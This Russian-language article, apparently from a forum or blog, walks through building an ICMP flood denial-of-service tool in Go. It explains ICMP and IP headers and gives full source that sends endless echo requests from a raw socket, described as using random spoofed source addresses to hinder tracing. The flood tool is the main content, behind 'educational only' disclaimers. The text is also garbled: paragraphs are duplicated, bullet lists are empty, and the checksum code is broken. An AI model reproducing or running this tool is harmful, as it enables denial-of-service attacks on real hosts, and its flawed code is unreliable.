В этой статье я хочу показать пример написания программы для ICMP(Internet Control Message Protocol) флуда на языке Golang.
Самыми известными примерами использования ICMP являются утилиты ping и traceroute(Статьи для ping и traceroute выйдут позже ). Первая отправляет ICMP Echo Request пакеты на указанный хост и ждёт Echo Reply в ответ, позволяя таким образом проверить доступность хоста и время отклика. Вторая использует ICMP для определения маршрута пакетов от источника к назначению, путём последовательного увеличения значения поля "время жизни" (TTL) в IP-заголовке пакета.
ICMP пакеты часто инкапсулированы в IP-пакеты для передачи по сети. Каждый ICMP-пакет, как правило, состоит из заголовка и данных. Заголовок обычно содержит тип сообщения, код и контрольную сумму, а данные могут включать дополнительную информацию, необходимую для обработки пакета.
Важно понимать, что, несмотря на свою полезность в диагностике сети, ICMP также может быть использован в недобросовестных целях, таких как проведение DoS-атак. По этой причине, многие сетевые устройства предоставляют возможность ограничения или фильтрации ICMP-трафика.
В отличие от TCP, протокол ICMP не требует установления соединения и подтверждения получения пакетов, что делает его уязвимым для такого рода атак. Злоумышленник может также подделать IP-адрес отправителя, чтобы затруднить выявление источника атаки.
Часто используется широкий диапазон IP-адресов отправителей для маскировки исходного местоположения злоумышленника и для усиления эффекта атаки. Это также затрудняет блокировку атаки, так как блокировка одного IP-адреса не прекращает поток вредоносных пакетов.
Защита от ICMP-флуда часто осложнена тем, что полное блокирование ICMP-трафика может привести к проблемам в работе сети, так как ICMP используется для различных важных задач, таких как обнаружение маршрутов или диагностика сетевых проблем.
Эти библиотека предоставляет утилиты для работы с протоколами IPv4 и ICMP. Она включает функции для создания, анализа и обработки пакетов.
В современных языках программирования, таких как Go, эти поля обычно представлены структурами, которые упрощают создание и анализ ICMP-пакетов.
Разберем аргументы функции
-
-
-
Функция возвращает два значения:
Эта строка устанавливает опцию сокета для включения заголовка IP в пакеты, отправляемые через этот сокет. Разберем аргументы функции
-
-
-
-
Эта строка кода устанавливает опцию сокета, разрешая ему отправлять широковещательные (broadcast) пакеты. Давайте разберём каждый из аргументов в функции `syscall.SetsockoptInt`:
-
-
-
-
Эта функция принимает строковое представление IPv4-адреса в формате "xxx.xxx.xxx.xxx" и конвертирует его в структуру
Функция
-
Процесс создания пакета проходит в несколько этапов:
в этом бесконечном цикле происходит несколько ключевых вещей:
1. Отправка ICMP-пакета: Сначала выводятся на экран IP-адреса источника и назначения. Затем вызывается функция
2.
a.
b.
Это позволяет вам дать программе возможность каждый раз генерировать новый случайный исходный IP-адрес.
3. Бесконечное повторение: Цикл продолжается бесконечно, выполняя вышеуказанные шаги, пока не будет прерван.
Данный цикл эффективно создаёт "флуд" ICMP-пакетов, отправляемых на целевой сервер. Каждый новый ICMP-пакет будет иметь новый случайный адрес источника, что делает его ещё более трудным для отслеживания.
Однако стоит еще раз подчеркнуть: представленный код и методы разработаны исключительно в учебных и исследовательских целях. Они не должны использоваться для проведения несанкционированных или вредоносных действий.
Надеюсь, статья была полезной и познавательной для вас!
Важное примечание: код, представленный в этой статье, предназначен исключительно для учебных и исследовательских целей. Автор не несет ответственности за любое неправомерное или незаконное использование этого кода. Использование данного кода в целях, нарушающих закон, строго запрещено.
Что такое ICMP?
ICMP - это один из основных протоколов сетевого уровня в стеке протоколов TCP/IP. Он не предназначен для передачи данных между конечными пользователями, а служит для управления и передачи служебной информации между сетевыми устройствами. ICMP используется, например, для обнаружения ошибок в сети, информирования об этих ошибках и проведения диагностики.Самыми известными примерами использования ICMP являются утилиты ping и traceroute(Статьи для ping и traceroute выйдут позже ). Первая отправляет ICMP Echo Request пакеты на указанный хост и ждёт Echo Reply в ответ, позволяя таким образом проверить доступность хоста и время отклика. Вторая использует ICMP для определения маршрута пакетов от источника к назначению, путём последовательного увеличения значения поля "время жизни" (TTL) в IP-заголовке пакета.
ICMP пакеты часто инкапсулированы в IP-пакеты для передачи по сети. Каждый ICMP-пакет, как правило, состоит из заголовка и данных. Заголовок обычно содержит тип сообщения, код и контрольную сумму, а данные могут включать дополнительную информацию, необходимую для обработки пакета.
Важно понимать, что, несмотря на свою полезность в диагностике сети, ICMP также может быть использован в недобросовестных целях, таких как проведение DoS-атак. По этой причине, многие сетевые устройства предоставляют возможность ограничения или фильтрации ICMP-трафика.
Что такое ICMP-флуд?
ICMP-флуд - это вид сетевой атаки, при которой злоумышленник отправляет большое количество ICMP пакетов, обычно типа "Echo Request" (это те самые пакеты, которые используются в команде ping), на целевую систему. Цель атаки - исчерпать сетевые ресурсы жертвы, что может привести к замедлению или полной недоступности сервера или сетевого устройства.В отличие от TCP, протокол ICMP не требует установления соединения и подтверждения получения пакетов, что делает его уязвимым для такого рода атак. Злоумышленник может также подделать IP-адрес отправителя, чтобы затруднить выявление источника атаки.
Часто используется широкий диапазон IP-адресов отправителей для маскировки исходного местоположения злоумышленника и для усиления эффекта атаки. Это также затрудняет блокировку атаки, так как блокировка одного IP-адреса не прекращает поток вредоносных пакетов.
Защита от ICMP-флуда часто осложнена тем, что полное блокирование ICMP-трафика может привести к проблемам в работе сети, так как ICMP используется для различных важных задач, таких как обнаружение маршрутов или диагностика сетевых проблем.
Go библиотеки необходимые для работы с ICMP пакетами:
Для написания программы на Go, которая работает с ICMP-пакетами нам пригодятся библиотека: "golang.org/x/net/ipv4".Эти библиотека предоставляет утилиты для работы с протоколами IPv4 и ICMP. Она включает функции для создания, анализа и обработки пакетов.
Заголовок ICMP
Заголовок ICMP-пакета (Internet Control Message Protocol) имеет относительно простую структуру и состоит из следующих полей:- Тип (Type): 8-битное поле, указывающее тип ICMP-сообщения. Например, эхо-запрос (ping) имеет тип 8, а эхо-ответ (pong) — тип 0.
- Код (Code): 8-битное поле, которое дает дополнительную информацию о типе сообщения. Для большинства типов сообщений это поле устанавливается в 0.
- Контрольная сумма (Checksum): 16-битное поле, используемое для обнаружения ошибок в заголовке и данных ICMP.
- Данные (Data): Это поле опционально и его наличие, а также формат зависят от типа и кода ICMP-сообщения. Например, в эхо-запросе и эхо-ответе здесь размещаются идентификатор и порядковый номер.
В современных языках программирования, таких как Go, эти поля обычно представлены структурами, которые упрощают создание и анализ ICMP-пакетов.
Заголовок IP пакета
Заголовок IP-пакета (Internet Protocol) имеет более сложную структуру, чем ICMP-пакет, и состоит из следующих основных полей:- Версия (Version): 4-битное поле, указывающее версию IP-протокола. Для IPv4 это значение равно 4.
- Длина заголовка (IHL, Header Length): 4-битное поле, указывающее длину заголовка в 32-битных словах. Обычно значение равно 5, что означает, что заголовок составляет 20 байт.
- Тип обслуживания (TOS, Type of Service): 8-битное поле, определяющее как роутеры должны обрабатывать пакет.
- Общая длина (Total Length): 16-битное поле, указывающее общую длину IP-пакета в байтах, включая заголовок и данные.
- Идентификация (ID): 16-битное поле, уникально идентифицирующее пакет в потоке данных между отправителем и получателем.
- Флаги (Flags) и смещение фрагмента (Fragment Offset): Эти поля используются для управления фрагментацией пакета.
- Время жизни (TTL, Time to Live): 8-битное поле, указывающее максимальное количество промежуточных узлов (роутеров), через которые может пройти пакет.
- Протокол (Protocol): 8-битное поле, указывающее протокол транспортного уровня, используемый для передачи данных (например, TCP, UDP или ICMP).
- Контрольная сумма заголовка (Header Checksum): 16-битное поле для обнаружения ошибок в самом заголовке.
- IP-адрес источника (Source IP Address): 32-битный адрес, откуда отправлен пакет.
- IP-адрес назначения (Destination IP Address): 32-битный адрес, куда направлен пакет.
- Опции (Options): Это поле опционально и может быть использовано для различных дополнительных функций, таких как безопасность, маршрутизация и т.д.
Реализация программы
Код:
sd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_ICMP)
Разберем аргументы функции
syscall.Socket:
-
syscall.AF_INET
: Этот аргумент указывает, что сокет будет использовать протокол IPv4.-
syscall.SOCK_RAW
: Этот аргумент указывает, что сокет будет "сырым", что позволяет напрямую отправлять и получать IP-пакеты без дополнительной обработки операционной системой.-
syscall.IPPROTO_ICMP
: Этот аргумент указывает, что сокет будет использоваться для работы с протоколом ICMP.Функция возвращает два значения:
sd:
Это файловый дескриптор сокета, который затем можно использовать для отправки или получения данных.err:
Это объект ошибки, который будет не nil, если при создании сокета возникли проблемы.
Код:
err = syscall.SetsockoptInt(sd, syscall.IPPROTO_IP, syscall.IP_HDRINCL, 1)
syscall.SetsockoptInt
:-
sd
: Это файловый дескриптор сокета, который был создан ранее. Опция будет применена к этому сокету.-
syscall.IPPROTO_IP
: Это уровень протокола, на котором устанавливается опция. В данном случае, это уровень IP.-
syscall.IP_HDRINCL
: Это конкретная опция, которую мы хотим установить. Включение этой опции позволяет программе включать свой собственный заголовок IP в отправляемые пакеты.-
1
: Если бы вы установили это значение равным `0`, это бы означало, что заголовок IP не включен..
Код:
err = syscall.SetsockoptInt(sd, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1)
-
sd
: Это файловый дескриптор сокета, который был создан ранее. Опция будет установлена для этого сокета.-
syscall.SOL_SOCKET
: Это уровень на котором устанавливается опция. В данном случае, это уровень сокета.-
syscall.SO_BROADCAST
: Это конкретная опция, которую мы хотим установить. Установка этой опции в "включено" разрешает сокету отправку широковещательных пакетов.-
1
: Значение, устанавливаемое для опции. 1 включает опцию SO_BROADCAST
, а 0 ее отключает.
Код:
servAddr = ip2sockaddr(dstAddr.String())
Эта функция принимает строковое представление IPv4-адреса в формате "xxx.xxx.xxx.xxx" и конвертирует его в структуру
syscall.SockaddrInet4
.Функция
createPkt
создаёт и возвращает ICMP-пакет в виде массива байтов, готового для отправки через сетевой сокет. Она принимает следующий параметр:-
dstAddr
: конечный IP-адреса в формате net.IP
.Процесс создания пакета проходит в несколько этапов:
Код:
pkt := createPkt(dstAddr)
- Создание заголовка IP: В этой части используется структура
ipv4.Header
из библиотекиgolang.org/x/net/ipv4
. Эта структура заполняется соответствующими значениями, включая исходный и конечный IP-адреса, версию IP-протокола, длину заголовка и другие параметры. - Создание ICMP-сообщения. Здесь указывается тип сообщения (в данном случае, это эхо-запрос), код и тело сообщения, которое содержит идентификатор и порядковый номер.
- Сериализация заголовков: Заголовки IP и ICMP сериализуются в байтовые массивы с помощью метода `Marshal`.
- Объединение заголовков и данных: В конце созданные байтовые массивы для IP и ICMP заголовков объединяются в один массив байтов, который и будет ICMP-пакетом.
Код:
for {
select {
case <-signalChannel:
fmt.Println("Received SIGINT, exiting...")
syscall.Close(sd)
return
default:
randIP = randomIP4()
srcAddr = net.ParseIP(randIP)
if srcAddr == nil {
log.Fatalln("Failed to parse ip:", randIP)
}
pkt := createPkt(dstAddr)
fmt.Println(srcAddr, dstAddr)
err = syscall.Sendto(sd, pkt, 0, &servAddr)
if err != nil {
log.Fatalln("Sendto() failed:", err)
}
}
}
в этом бесконечном цикле происходит несколько ключевых вещей:
1. Отправка ICMP-пакета: Сначала выводятся на экран IP-адреса источника и назначения. Затем вызывается функция
syscall.Sendto
, которая отправляет ICMP-пакет (pkt) на указанный сервер (servAddr).
Код:
err = syscall.Sendto(sd, pkt, 0, &servAddr)
Код:
randIP = randomIP4()
srcAddr = net.ParseIP(randIP)
a.
randomIP4()
вызывается для генерации случайного IP-адреса, который сохраняется в randIP
.b.
net.ParseIP(randIP)
преобразует случайно сгенерированный строковый IP-адрес в тип net.IP
и сохраняет его в srcAddr
.Это позволяет вам дать программе возможность каждый раз генерировать новый случайный исходный IP-адрес.
3. Бесконечное повторение: Цикл продолжается бесконечно, выполняя вышеуказанные шаги, пока не будет прерван.
Данный цикл эффективно создаёт "флуд" ICMP-пакетов, отправляемых на целевой сервер. Каждый новый ICMP-пакет будет иметь новый случайный адрес источника, что делает его ещё более трудным для отслеживания.
Заключение
В данной статье мы подробно рассмотрели, как создать программу для ICMP флуда на языке Golang. Мы изучили некоторые аспекты системного программирования в Golang, включая создание сокетов и формирование ICMP и IP-заголовков для пакетов.Однако стоит еще раз подчеркнуть: представленный код и методы разработаны исключительно в учебных и исследовательских целях. Они не должны использоваться для проведения несанкционированных или вредоносных действий.
Надеюсь, статья была полезной и познавательной для вас!
Код:
package main
import (
"flag"
"fmt"
"golang.org/x/net/ipv4"
"log"
"math/rand"
"net"
"strconv"
"strings"
"os"
"os/signal"
"syscall"
"time"
)
func main() {
var srcAddr net.IP
var dstAddr net.IP
var randIP string
var servAddr syscall.SockaddrInet4
// Получение аргумента для указания адреса назначения
dstParam := flag.String("dst", "", "dst addr")
flag.Parse()
if len(*dstParam) == 0 {
log.Fatalln("dst is required param")
}
// Создание "сырого" сокета
sd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_ICMP)
if err != nil {
log.Fatalln("Failed to create raw socket: %s\n", err)
}
defer syscall.Close(sd)
err = syscall.SetsockoptInt(sd, syscall.IPPROTO_IP, syscall.IP_HDRINCL, 1)
if err != nil {
log.Fatalln("Failed to set socket options: %v\n", err)
}
err = syscall.SetsockoptInt(sd, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1)
if err != nil {
log.Fatalln("Failed to set socket options: %v\n", err)
}
dstAddr = net.ParseIP(*dstParam)
if dstAddr == nil {
log.Fatalln("Failed to parse ip:", *dstParam)
}
// Конвертация IP в Sockaddr
servAddr = ip2sockaddr(dstAddr.String())
signalChannel := make(chan os.Signal, 1)
signal.Notify(signalChannel, syscall.SIGINT)
// Бесконечный цикл отправки пакетов
for {
select {
case <-signalChannel:
// Выход по получении SIGINT
fmt.Println("Received SIGINT, exiting...")
syscall.Close(sd)
return
default:
// Генерация случайного IP
randIP = randomIP4()
srcAddr = net.ParseIP(randIP)
if srcAddr == nil {
log.Fatalln("Failed to parse ip:", randIP)
}
// Создание и отправка пакета
pkt := createPkt(dstAddr)
fmt.Println(srcAddr, dstAddr)
err = syscall.Sendto(sd, pkt, 0, &servAddr)
if err != nil {
log.Fatalln("Sendto() failed:", err)
}
}
}
}
// Функция для конвертации IP-адреса в Sockaddr
func ip2sockaddr(ip string) syscall.SockaddrInet4 {
addr := [4]byte{}
fmt.Sscanf(ip, "%d.%d.%d.%d", &addr[0], &addr[1], &addr[2], &addr[3])
sockAddr := syscall.SockaddrInet4{
Port: 0,
Addr: addr,
}
return sockAddr
}
// Функция для генерации случайного IP-адреса
func randomIP4() string {
rand.Seed(time.Now().UnixNano())
blocks := []string{}
for i := 0; i < 4; i++ {
number := rand.Intn(255)
blocks = append(blocks, strconv.Itoa(number))
}
return strings.Join(blocks, ".")
}
// Функция для создания пакета
func createPkt(dstAddr net.IP) []byte {
/** creating package **/
/**
type Header struct {
Version int // protocol version
Len int // header length
TOS int // type-of-service
TotalLen int // packet total length
ID int // identification
Flags HeaderFlags // flags
FragOff int // fragment offset
TTL int // time-to-live
Protocol int // next protocol
Checksum int // checksum
Src net.IP // source address
Dst net.IP // destination address
Options []byte // options, extension headers
}
**/
h := ipv4.Header{
Version: 4, // Версия протокола IPv4
Len: 20, // Длина заголовка
TotalLen: 20 + 10, // Общая длина пакета
TTL: 64, // Время жизни пакета
Protocol: 1, // Протокол (ICMP)
Dst: dstAddr, // Адрес назначения
}
// Создание ICMP-сообщения
icmp := []byte{
8, // тип: эхо-запрос
0, // код: не используется эхо-запросом
0, // контрольная сумма (16 бит), заполним ниже
0,
0, // идентификатор (16 бит). допускается ноль
0,
0, // порядковый номер (16 бит). допускается ноль
0,
0xC0, // Дополнительные данные. ping помещает сюда время отправки пакета
0xDE,
}
// Вычисление контрольной суммы
cs := csum(icmp)
icmp[2] = byte(cs)
icmp[3] = byte(cs >> 8)
// Объединение заголовка IP и ICMP
out, err := h.Marshal()
if err != nil {
log.Fatal(err)
}
return append(out, icmp...)
}
// Функция для вычисления контрольной суммы
func csum(b []byte) uint16 {
var s uint32
for i := 0; i < len(b); i += 2 {
s += uint32(b[i+1])<<8 | uint32(b)
}
s = s>>16 + s&0xffff
s = s + s>>16
return uint16(^s)
}